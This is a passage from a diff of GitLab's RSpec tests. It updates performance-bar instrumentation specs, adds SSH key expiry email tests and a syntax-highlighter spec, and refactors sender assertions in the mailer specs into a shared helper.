+ connection: connection_1
}
end
@@ -21,7 +23,7 @@ RSpec.describe Peek::Views::ActiveRecord, :request_store do
name: 'SQL',
sql: 'SELECT * FROM users WHERE id = 10',
cached: true,
- connection: connection
+ connection: connection_2
}
end
@@ -30,12 +32,15 @@ RSpec.describe Peek::Views::ActiveRecord, :request_store do
name: 'SQL',
sql: 'UPDATE users SET admin = true WHERE id = 10',
cached: false,
- connection: connection
+ connection: connection_3
}
end
before do
allow(Gitlab::PerformanceBar).to receive(:enabled_for_request?).and_return(true)
+ allow(connection_1).to receive(:transaction_open?).and_return(false)
+ allow(connection_2).to receive(:transaction_open?).and_return(false)
+ allow(connection_3).to receive(:transaction_open?).and_return(true)
end
it 'subscribes and store data into peek views' do
@@ -46,22 +51,32 @@ RSpec.describe Peek::Views::ActiveRecord, :request_store do
end
expect(subject.results).to match(
- calls: '3 (1 cached)',
+ calls: 3,
+ summary: {
+ "Cached" => 1,
+ "In a transaction" => 1
+ },
duration: '6000.00ms',
warnings: ["active-record duration: 6000.0 over 3000"],
details: contain_exactly(
a_hash_including(
+ start: be_a(Time),
cached: '',
+ transaction: '',
duration: 1000.0,
sql: 'SELECT * FROM users WHERE id = 10'
),
a_hash_including(
- cached: 'cached',
+ start: be_a(Time),
+ cached: 'Cached',
+ transaction: '',
duration: 2000.0,
sql: 'SELECT * FROM users WHERE id = 10'
),
a_hash_including(
+ start: be_a(Time),
cached: '',
+ transaction: 'In a transaction',
duration: 3000.0,
sql: 'UPDATE users SET admin = true WHERE id = 10'
)
diff --git a/spec/lib/peek/views/external_http_spec.rb b/spec/lib/peek/views/external_http_spec.rb
index 98c4f771f33..18ae1326493 100644
--- a/spec/lib/peek/views/external_http_spec.rb
+++ b/spec/lib/peek/views/external_http_spec.rb
@@ -11,6 +11,10 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
allow(Gitlab::PerformanceBar).to receive(:enabled_for_request?).and_return(true)
end
+ around do |example|
+ freeze_time { example.run }
+ end
+
let(:event_1) do
{
method: 'POST', code: "200", duration: 0.03,
@@ -44,9 +48,9 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
end
it 'returns aggregated results' do
- subscriber.request(double(:event, payload: event_1))
- subscriber.request(double(:event, payload: event_2))
- subscriber.request(double(:event, payload: event_3))
+ subscriber.request(double(:event, payload: event_1, time: Time.current))
+ subscriber.request(double(:event, payload: event_2, time: Time.current))
+ subscriber.request(double(:event, payload: event_3, time: Time.current))
results = subject.results
expect(results[:calls]).to eq(3)
@@ -55,6 +59,7 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
expected = [
{
+ start: be_like_time(Time.current),
duration: 30.0,
label: "POST https://gitlab.com:80/api/v4/projects?current=true",
code: "Response status: 200",
@@ -63,6 +68,7 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
warnings: []
},
{
+ start: be_like_time(Time.current),
duration: 1300,
label: "POST http://gitlab.com:80/api/v4/projects/2/issues?current=true",
code: nil,
@@ -71,6 +77,7 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
warnings: ["1300.0 over 100"]
},
{
+ start: be_like_time(Time.current),
duration: 5.0,
label: "GET http://gitlab.com:80/api/v4/projects/2?current=true",
code: "Response status: 301",
@@ -81,7 +88,7 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
]
expect(
- results[:details].map { |data| data.slice(:duration, :label, :code, :proxy, :error, :warnings) }
+ results[:details].map { |data| data.slice(:start, :duration, :label, :code, :proxy, :error, :warnings) }
).to match_array(expected)
end
@@ -91,10 +98,11 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
end
it 'displays IPv4 in the label' do
- subscriber.request(double(:event, payload: event_1))
+ subscriber.request(double(:event, payload: event_1, time: Time.current))
expect(subject.results[:details]).to contain_exactly(
a_hash_including(
+ start: be_like_time(Time.current),
duration: 30.0,
label: "POST https://1.2.3.4:80/api/v4/projects?current=true",
code: "Response status: 200",
@@ -112,10 +120,11 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
end
it 'displays IPv6 in the label' do
- subscriber.request(double(:event, payload: event_1))
+ subscriber.request(double(:event, payload: event_1, time: Time.current))
expect(subject.results[:details]).to contain_exactly(
a_hash_including(
+ start: be_like_time(Time.current),
duration: 30.0,
label: "POST https://[2606:4700:90:0:f22e:fbec:5bed:a9b9]:80/api/v4/projects?current=true",
code: "Response status: 200",
@@ -133,10 +142,11 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
end
it 'converts query hash into a query string' do
- subscriber.request(double(:event, payload: event_1))
+ subscriber.request(double(:event, payload: event_1, time: Time.current))
expect(subject.results[:details]).to contain_exactly(
a_hash_including(
+ start: be_like_time(Time.current),
duration: 30.0,
label: "POST https://gitlab.com:80/api/v4/projects?current=true&item1=string&item2%5B%5D=1&item2%5B%5D=2",
code: "Response status: 200",
@@ -154,10 +164,11 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
end
it 'displays unknown in the label' do
- subscriber.request(double(:event, payload: event_1))
+ subscriber.request(double(:event, payload: event_1, time: Time.current))
expect(subject.results[:details]).to contain_exactly(
a_hash_including(
+ start: be_like_time(Time.current),
duration: 30.0,
label: "POST unknown",
code: "Response status: 200",
@@ -176,10 +187,11 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
end
it 'displays unknown in the label' do
- subscriber.request(double(:event, payload: event_1))
+ subscriber.request(double(:event, payload: event_1, time: Time.current))
expect(subject.results[:details]).to contain_exactly(
a_hash_including(
+ start: be_like_time(Time.current),
duration: 30.0,
label: "POST unknown",
code: "Response status: 200",
@@ -198,10 +210,11 @@ RSpec.describe Peek::Views::ExternalHttp, :request_store do
end
it 'displays unknown in the label' do
- subscriber.request(double(:event, payload: event_1))
+ subscriber.request(double(:event, payload: event_1, time: Time.current))
expect(subject.results[:details]).to contain_exactly(
a_hash_including(
+ start: be_like_time(Time.current),
duration: 30.0,
label: "POST unknown",
code: "Response status: 200",
diff --git a/spec/lib/quality/test_level_spec.rb b/spec/lib/quality/test_level_spec.rb
deleted file mode 100644
index 32960cd571b..00000000000
--- a/spec/lib/quality/test_level_spec.rb
+++ /dev/null
@@ -1,225 +0,0 @@
-# frozen_string_literal: true
-
-require 'fast_spec_helper'
-
-RSpec.describe Quality::TestLevel do
- describe '#pattern' do
- context 'when level is all' do
- it 'returns a pattern' do
- expect(subject.pattern(:all))
- .to eq("spec/**{,/**/}*_spec.rb")
- end
- end
-
- context 'when level is geo' do
- it 'returns a pattern' do
- expect(subject.pattern(:geo))
- .to eq("spec/**{,/**/}*_spec.rb")
- end
- end
-
- context 'when level is frontend_fixture' do
- it 'returns a pattern' do
- expect(subject.pattern(:frontend_fixture))
- .to eq("spec/{frontend/fixtures}{,/**/}*.rb")
- end
- end
-
- context 'when level is unit' do
- it 'returns a pattern' do
- expect(subject.pattern(:unit))
- .to eq("spec/{bin,channels,config,db,dependencies,elastic,elastic_integration,experiments,factories,finders,frontend,graphql,haml_lint,helpers,initializers,javascripts,lib,models,policies,presenters,rack_servers,replicators,routing,rubocop,serializers,services,sidekiq,spam,support_specs,tasks,uploaders,validators,views,workers,tooling}{,/**/}*_spec.rb")
- end
- end
-
- context 'when level is migration' do
- it 'returns a pattern' do
- expect(subject.pattern(:migration))
- .to eq("spec/{migrations,lib/gitlab/background_migration,lib/ee/gitlab/background_migration}{,/**/}*_spec.rb")
- end
- end
-
- context 'when level is background_migration' do
- it 'returns a pattern' do
- expect(subject.pattern(:background_migration))
- .to eq("spec/{lib/gitlab/background_migration,lib/ee/gitlab/background_migration}{,/**/}*_spec.rb")
- end
- end
-
- context 'when level is integration' do
- it 'returns a pattern' do
- expect(subject.pattern(:integration))
- .to eq("spec/{controllers,mailers,requests}{,/**/}*_spec.rb")
- end
- end
-
- context 'when level is system' do
- it 'returns a pattern' do
- expect(subject.pattern(:system))
- .to eq("spec/{features}{,/**/}*_spec.rb")
- end
- end
-
- context 'with a prefix' do
- it 'returns a pattern' do
- expect(described_class.new('ee/').pattern(:system))
- .to eq("ee/spec/{features}{,/**/}*_spec.rb")
- end
- end
-
- describe 'performance' do
- it 'memoizes the pattern for a given level' do
- expect(subject.pattern(:system).object_id).to eq(subject.pattern(:system).object_id)
- end
-
- it 'freezes the pattern for a given level' do
- expect(subject.pattern(:system)).to be_frozen
- end
- end
- end
-
- describe '#regexp' do
- context 'when level is all' do
- it 'returns a regexp' do
- expect(subject.regexp(:all))
- .to eq(%r{spec/})
- end
- end
-
- context 'when level is geo' do
- it 'returns a regexp' do
- expect(subject.regexp(:geo))
- .to eq(%r{spec/})
- end
- end
-
- context 'when level is frontend_fixture' do
- it 'returns a regexp' do
- expect(subject.regexp(:frontend_fixture))
- .to eq(%r{spec/(frontend/fixtures)})
- end
- end
-
- context 'when level is unit' do
- it 'returns a regexp' do
- expect(subject.regexp(:unit))
- .to eq(%r{spec/(bin|channels|config|db|dependencies|elastic|elastic_integration|experiments|factories|finders|frontend|graphql|haml_lint|helpers|initializers|javascripts|lib|models|policies|presenters|rack_servers|replicators|routing|rubocop|serializers|services|sidekiq|spam|support_specs|tasks|uploaders|validators|views|workers|tooling)})
- end
- end
-
- context 'when level is migration' do
- it 'returns a regexp' do
- expect(subject.regexp(:migration))
- .to eq(%r{spec/(migrations|lib/gitlab/background_migration|lib/ee/gitlab/background_migration)})
- end
- end
-
- context 'when level is background_migration' do
- it 'returns a regexp' do
- expect(subject.regexp(:background_migration))
- .to eq(%r{spec/(lib/gitlab/background_migration|lib/ee/gitlab/background_migration)})
- end
- end
-
- context 'when level is integration' do
- it 'returns a regexp' do
- expect(subject.regexp(:integration))
- .to eq(%r{spec/(controllers|mailers|requests)})
- end
- end
-
- context 'when level is system' do
- it 'returns a regexp' do
- expect(subject.regexp(:system))
- .to eq(%r{spec/(features)})
- end
- end
-
- context 'with a prefix' do
- it 'returns a regexp' do
- expect(described_class.new('ee/').regexp(:system))
- .to eq(%r{ee/spec/(features)})
- end
- end
-
- describe 'performance' do
- it 'memoizes the regexp for a given level' do
- expect(subject.regexp(:system).object_id).to eq(subject.regexp(:system).object_id)
- end
-
- it 'freezes the regexp for a given level' do
- expect(subject.regexp(:system)).to be_frozen
- end
- end
- end
-
- describe '#level_for' do
- it 'returns the correct level for a unit test' do
- expect(subject.level_for('spec/models/abuse_report_spec.rb')).to eq(:unit)
- end
-
- it 'returns the correct level for a frontend fixture test' do
- expect(subject.level_for('spec/frontend/fixtures/pipelines.rb')).to eq(:frontend_fixture)
- end
-
- it 'returns the correct level for a tooling test' do
- expect(subject.level_for('spec/tooling/lib/tooling/test_file_finder_spec.rb')).to eq(:unit)
- end
-
- it 'returns the correct level for a migration test' do
- expect(subject.level_for('spec/migrations/add_default_and_free_plans_spec.rb')).to eq(:migration)
- end
-
- it 'returns the correct level for a background migration test' do
- expect(subject.level_for('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to eq(:migration)
- end
-
- it 'returns the correct level for an EE file without passing a prefix' do
- expect(subject.level_for('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to eq(:migration)
- end
-
- it 'returns the correct level for a geo migration test' do
- expect(described_class.new('ee/').level_for('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to eq(:migration)
- end
-
- it 'returns the correct level for a EE-namespaced background migration test' do
- expect(described_class.new('ee/').level_for('ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb')).to eq(:migration)
- end
-
- it 'returns the correct level for an integration test' do
- expect(subject.level_for('spec/mailers/abuse_report_mailer_spec.rb')).to eq(:integration)
- end
-
- it 'returns the correct level for a system test' do
- expect(subject.level_for('spec/features/abuse_report_spec.rb')).to eq(:system)
- end
-
- it 'raises an error for an unknown level' do
- expect { subject.level_for('spec/unknown/foo_spec.rb') }
- .to raise_error(described_class::UnknownTestLevelError,
- %r{Test level for spec/unknown/foo_spec.rb couldn't be set. Please rename the file properly or change the test level detection regexes in .+/lib/quality/test_level.rb.})
- end
- end
-
- describe '#background_migration?' do
- it 'returns false for a unit test' do
- expect(subject.background_migration?('spec/models/abuse_report_spec.rb')).to be(false)
- end
-
- it 'returns true for a migration test' do
- expect(subject.background_migration?('spec/migrations/add_default_and_free_plans_spec.rb')).to be(false)
- end
-
- it 'returns true for a background migration test' do
- expect(subject.background_migration?('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to be(true)
- end
-
- it 'returns true for a geo migration test' do
- expect(described_class.new('ee/').background_migration?('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to be(false)
- end
-
- it 'returns true for a EE-namespaced background migration test' do
- expect(described_class.new('ee/').background_migration?('ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb')).to be(true)
- end
- end
-end
diff --git a/spec/lib/rouge/formatters/html_gitlab_spec.rb b/spec/lib/rouge/formatters/html_gitlab_spec.rb
new file mode 100644
index 00000000000..d45c8c2a8c5
--- /dev/null
+++ b/spec/lib/rouge/formatters/html_gitlab_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Rouge::Formatters::HTMLGitlab do
+ describe '#format' do
+ subject { described_class.format(tokens, options) }
+
+ let(:lang) { 'ruby' }
+ let(:lexer) { Rouge::Lexer.find_fancy(lang) }
+ let(:tokens) { lexer.lex("def hello", continue: false) }
+ let(:options) { { tag: lang } }
+
+ it 'returns highlighted ruby code' do
+ code = %q{<span id="LC1" class="line" lang="ruby"><span class="k">def</span> <span class="nf">hello</span></span>}
+
+ is_expected.to eq(code)
+ end
+
+ context 'when options are empty' do
+ let(:options) { {} }
+
+ it 'returns highlighted code without language' do
+ code = %q{<span id="LC1" class="line" lang=""><span class="k">def</span> <span class="nf">hello</span></span>}
+
+ is_expected.to eq(code)
+ end
+ end
+
+ context 'when line number is provided' do
+ let(:options) { { tag: lang, line_number: 10 } }
+
+ it 'returns highlighted ruby code with correct line number' do
+ code = %q{<span id="LC10" class="line" lang="ruby"><span class="k">def</span> <span class="nf">hello</span></span>}
+
+ is_expected.to eq(code)
+ end
+ end
+ end
+end
diff --git a/spec/mailers/emails/in_product_marketing_spec.rb b/spec/mailers/emails/in_product_marketing_spec.rb
index e4157eaf5dc..25735e64bdf 100644
--- a/spec/mailers/emails/in_product_marketing_spec.rb
+++ b/spec/mailers/emails/in_product_marketing_spec.rb
@@ -13,6 +13,38 @@ RSpec.describe Emails::InProductMarketing do
describe '#in_product_marketing_email' do
using RSpec::Parameterized::TableSyntax
+ let(:track) { :create }
+ let(:series) { 0 }
+
+ subject { Notify.in_product_marketing_email(user.id, group.id, track, series) }
+
+ include_context 'gitlab email notification'
+
+ it 'sends to the right user with a link to unsubscribe' do
+ aggregate_failures do
+ expect(subject).to deliver_to(user.notification_email)
+ expect(subject).to have_body_text(profile_notifications_url)
+ end
+ end
+
+ context 'when on gitlab.com' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return(true)
+ end
+
+ it 'has custom headers' do
+ aggregate_failures do
+ expect(subject).to deliver_from(described_class::FROM_ADDRESS)
+ expect(subject).to reply_to(described_class::FROM_ADDRESS)
+ expect(subject).to have_header('X-Mailgun-Track', 'yes')
+ expect(subject).to have_header('X-Mailgun-Track-Clicks', 'yes')
+ expect(subject).to have_header('X-Mailgun-Track-Opens', 'yes')
+ expect(subject).to have_header('X-Mailgun-Tag', 'marketing')
+ expect(subject).to have_body_text('%tag_unsubscribe_url%')
+ end
+ end
+ end
+
where(:track, :series) do
:create | 0
:create | 1
@@ -29,8 +61,6 @@ RSpec.describe Emails::InProductMarketing do
end
with_them do
- subject { Notify.in_product_marketing_email(user.id, group.id, track, series) }
-
it 'has the correct subject and content' do
aggregate_failures do
is_expected.to have_subject(subject_line(track, series))
diff --git a/spec/mailers/emails/merge_requests_spec.rb b/spec/mailers/emails/merge_requests_spec.rb
index 0c0dae6d7e6..dea54f7315d 100644
--- a/spec/mailers/emails/merge_requests_spec.rb
+++ b/spec/mailers/emails/merge_requests_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe Emails::MergeRequests do
aggregate_failures do
is_expected.to have_referable_subject(merge_request, reply: true)
is_expected.to have_body_text(project_merge_request_path(project, merge_request))
- is_expected.to have_body_text('You have been mentioned in Merge Request')
+ is_expected.to have_body_text('You have been mentioned in merge request')
is_expected.to have_link(merge_request.to_reference, href: project_merge_request_url(merge_request.target_project, merge_request))
is_expected.to have_text_part_content(assignee.name)
is_expected.to have_text_part_content(reviewer.name)
@@ -55,9 +55,7 @@ RSpec.describe Emails::MergeRequests do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the merge request author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(merge_request.author.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(merge_request.author)
end
it 'has the correct subject and body' do
@@ -85,9 +83,7 @@ RSpec.describe Emails::MergeRequests do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
end
it 'has the correct subject and body' do
@@ -120,9 +116,7 @@ RSpec.describe Emails::MergeRequests do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the merge author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(merge_author.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(merge_author)
end
it 'has the correct subject and body' do
@@ -153,9 +147,7 @@ RSpec.describe Emails::MergeRequests do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
end
it 'has the correct subject and body' do
@@ -229,4 +221,10 @@ RSpec.describe Emails::MergeRequests do
it { expect(subject).to have_content('attachment has been truncated to avoid exceeding the maximum allowed attachment size of 15 MB.') }
end
end
+
+ def expect_sender(user)
+ sender = subject.header[:from].addrs[0]
+ expect(sender.display_name).to eq("#{user.name} (@#{user.username})")
+ expect(sender.address).to eq(gitlab_sender)
+ end
end
diff --git a/spec/mailers/emails/profile_spec.rb b/spec/mailers/emails/profile_spec.rb
index a32e566fc90..8ac1f15d67e 100644
--- a/spec/mailers/emails/profile_spec.rb
+++ b/spec/mailers/emails/profile_spec.rb
@@ -212,6 +212,106 @@ RSpec.describe Emails::Profile do
end
end
+ describe 'SSH key notification' do
+ let_it_be_with_reload(:user) { create(:user) }
+ let_it_be(:fingerprints) { ["aa:bb:cc:dd:ee:zz"] }
+
+ shared_examples 'is sent to the user' do
+ it { is_expected.to deliver_to user.email }
+ end
+
+ shared_examples 'has the correct subject' do |subject_text|
+ it { is_expected.to have_subject subject_text }
+ end
+
+ shared_examples 'has the correct body text' do |body_text|
+ it { is_expected.to have_body_text body_text }
+ end
+
+ shared_examples 'includes a link to ssh key page' do
+ it { is_expected.to have_body_text /#{profile_keys_url}/ }
+ end
+
+ shared_examples 'includes the email reason' do
+ it { is_expected.to have_body_text /You're receiving this email because of your account on localhost/ }
+ end
+
+ shared_examples 'valid use case' do
+ it_behaves_like 'an email sent from GitLab'
+ it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like 'a user cannot unsubscribe through footer link'
+ it_behaves_like 'is sent to the user'
+ it_behaves_like 'includes a link to ssh key page'
+ it_behaves_like 'includes the email reason'
+ end
+
+ shared_examples 'does not send email' do
+ it do
+ expect { subject }.not_to change { ActionMailer::Base.deliveries.count }
+ end
+ end
+
+ shared_context 'block user' do
+ before do
+ user.block!
+ end
+ end
+
+ context 'notification email for expired ssh key' do
+ context 'when valid' do
+ subject { Notify.ssh_key_expired_email(user, fingerprints) }
+
+ include_examples 'valid use case'
+
+ it_behaves_like 'has the correct subject', /Your SSH key has expired/
+ it_behaves_like 'has the correct body text', /Your SSH keys with the following fingerprints has expired/
+ end
+
+ context 'when invalid' do
+ context 'when user does not exist' do
+ subject { Notify.ssh_key_expired_email(nil, fingerprints) }
+
+ it_behaves_like 'does not send email'
+ end
+
+ context 'when user is not active' do
+ subject { Notify.ssh_key_expired_email(user, fingerprints) }
+
+ include_context 'block user'
+
+ it_behaves_like 'does not send email'
+ end
+ end
+ end
+
+ context 'notification email for expiring ssh key' do
+ context 'when valid' do
+ subject { Notify.ssh_key_expiring_soon_email(user, fingerprints) }
+
+ include_examples 'valid use case'
+
+ it_behaves_like 'has the correct subject', /Your SSH key is expiring soon/
+ it_behaves_like 'has the correct body text', /Your SSH keys with the following fingerprints are scheduled to expire soon/
+ end
+
+ context 'when invalid' do
+ context 'when user does not exist' do
+ subject { Notify.ssh_key_expiring_soon_email(nil, fingerprints) }
+
+ it_behaves_like 'does not send email'
+ end
+
+ context 'when user is not active' do
+ subject { Notify.ssh_key_expiring_soon_email(user, fingerprints) }
+
+ include_context 'block user'
+
+ it_behaves_like 'does not send email'
+ end
+ end
+ end
+ end
+
describe 'user unknown sign in email' do
let_it_be(:user) { create(:user) }
let_it_be(:ip) { '169.0.0.1' }
diff --git a/spec/mailers/emails/projects_spec.rb b/spec/mailers/emails/projects_spec.rb
index a1f19a972f1..a5b89d16bc2 100644
--- a/spec/mailers/emails/projects_spec.rb
+++ b/spec/mailers/emails/projects_spec.rb
@@ -81,6 +81,7 @@ RSpec.describe Emails::Projects do
context 'with environment' do
let_it_be(:environment) { create(:environment, project: project) }
+
let(:payload) { { 'gitlab_environment_name' => environment.name } }
let(:metrics_url) { metrics_project_environment_url(project, environment) }
diff --git a/spec/mailers/emails/releases_spec.rb b/spec/mailers/emails/releases_spec.rb
index 6ee87724c83..287971d35a8 100644
--- a/spec/mailers/emails/releases_spec.rb
+++ b/spec/mailers/emails/releases_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe Emails::Releases do
describe '#new_release_email' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:release) { create(:release, project: project) }
subject { Notify.new_release_email(user.id, release) }
diff --git a/spec/mailers/emails/service_desk_spec.rb b/spec/mailers/emails/service_desk_spec.rb
index cb74194020d..57fa990d399 100644
--- a/spec/mailers/emails/service_desk_spec.rb
+++ b/spec/mailers/emails/service_desk_spec.rb
@@ -14,6 +14,7 @@ RSpec.describe Emails::ServiceDesk do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:email) { 'someone@gitlab.com' }
+
let(:template) { double(content: template_content) }
before_all do
diff --git a/spec/mailers/notify_spec.rb b/spec/mailers/notify_spec.rb
index 79358d3e40c..94a081ae0c9 100644
--- a/spec/mailers/notify_spec.rb
+++ b/spec/mailers/notify_spec.rb
@@ -69,11 +69,8 @@ RSpec.describe Notify do
it_behaves_like 'an email sent to a user'
it 'is sent to the assignee as the author' do
- sender = subject.header[:from].addrs.first
-
aggregate_failures do
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
expect(subject).to deliver_to(recipient.notification_email)
end
end
@@ -146,9 +143,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
end
it 'has the correct subject and body' do
@@ -187,9 +182,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
end
it 'has the correct subject and body' do
@@ -251,9 +244,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
end
it 'has the correct subject and body' do
@@ -389,9 +380,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
end
it 'has the correct subject and body' do
@@ -456,9 +445,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(current_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(current_user)
end
it 'has the correct subject and body' do
@@ -486,10 +473,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the push user' do
- sender = subject.header[:from].addrs[0]
-
- expect(sender.display_name).to eq(push_user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(push_user)
end
it 'has the correct subject and body' do
@@ -815,14 +799,14 @@ RSpec.describe Notify do
is_expected.to have_link('Join now', href: invite_url(project_member.invite_token, invite_type: Members::InviteEmailExperiment::INVITE_TYPE))
end
- it 'contains invite link for the avatar', :experiment do
+ it 'contains invite link for the avatar' do
stub_experiments('members/invite_email': :avatar)
is_expected.not_to have_content('You are invited!')
is_expected.not_to have_body_text 'What is a GitLab'
end
- it 'contains invite link for the avatar', :experiment do
+ it 'contains invite link for the avatar' do
stub_experiments('members/invite_email': :permission_info)
is_expected.not_to have_content('You are invited!')
@@ -1002,11 +986,8 @@ RSpec.describe Notify do
it_behaves_like 'it should have Gmail Actions links'
it 'is sent to the given recipient as the author' do
- sender = subject.header[:from].addrs[0]
-
aggregate_failures do
- expect(sender.display_name).to eq(note_author.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(note_author)
expect(subject).to deliver_to(recipient.notification_email)
end
end
@@ -1162,11 +1143,8 @@ RSpec.describe Notify do
it_behaves_like 'it should have Gmail Actions links'
it 'is sent to the given recipient as the author' do
- sender = subject.header[:from].addrs[0]
-
aggregate_failures do
- expect(sender.display_name).to eq(note_author.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(note_author)
expect(subject).to deliver_to(recipient.notification_email)
end
end
@@ -1221,12 +1199,6 @@ RSpec.describe Notify do
issue.issue_email_participants.create!(email: 'service.desk@example.com')
end
- def expect_sender(username)
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(username)
- expect(sender.address).to eq(gitlab_sender)
- end
-
describe 'thank you email' do
subject { described_class.service_desk_thank_you_email(issue.id) }
@@ -1244,14 +1216,16 @@ RSpec.describe Notify do
end
it 'uses service bot name by default' do
- expect_sender(User.support_bot.name)
+ expect_sender(User.support_bot)
end
context 'when custom outgoing name is set' do
let_it_be(:settings) { create(:service_desk_setting, project: project, outgoing_name: 'some custom name') }
it 'uses custom name in "from" header' do
- expect_sender('some custom name')
+ sender = subject.header[:from].addrs[0]
+ expect(sender.display_name).to eq('some custom name')
+ expect(sender.address).to eq(gitlab_sender)
end
end
@@ -1259,7 +1233,7 @@ RSpec.describe Notify do
let_it_be(:settings) { create(:service_desk_setting, project: project, outgoing_name: '') }
it 'uses service bot name' do
- expect_sender(User.support_bot.name)
+ expect_sender(User.support_bot)
end
end
end
@@ -1276,7 +1250,7 @@ RSpec.describe Notify do
end
it 'uses author\'s name in "from" header' do
- expect_sender(first_note.author.name)
+ expect_sender(first_note.author)
end
it 'has the correct subject and body' do
@@ -1672,9 +1646,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(user)
end
it 'has the correct subject and body' do
@@ -1699,9 +1671,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(user)
end
it 'has the correct subject and body' do
@@ -1725,9 +1695,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(user)
end
it 'has the correct subject' do
@@ -1748,9 +1716,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(user)
end
it 'has the correct subject' do
@@ -1777,9 +1743,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(user)
end
it 'has the correct subject and body' do
@@ -1870,9 +1834,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it 'is sent as the author' do
- sender = subject.header[:from].addrs[0]
- expect(sender.display_name).to eq(user.name)
- expect(sender.address).to eq(gitlab_sender)
+ expect_sender(user)
end
it 'has the correct subject and body' do
@@ -1962,12 +1924,8 @@ RSpec.describe Notify do
it_behaves_like 'an unsubscribeable thread'
it 'is sent to the given recipient as the author' do
- sender = subject.header[:from].addrs[0]
-
aggregate_failures do
- expect(sender.display_name).to eq(review.author_name)
- expect(sender.address).to eq(gitlab_sender)
- expect(subject).to deliver_to(recipient.notification_email)
+ expect_sender(review.author)
end
end
@@ -2002,4 +1960,10 @@ RSpec.describe Notify do
end
end
end
+
+ def expect_sender(user)
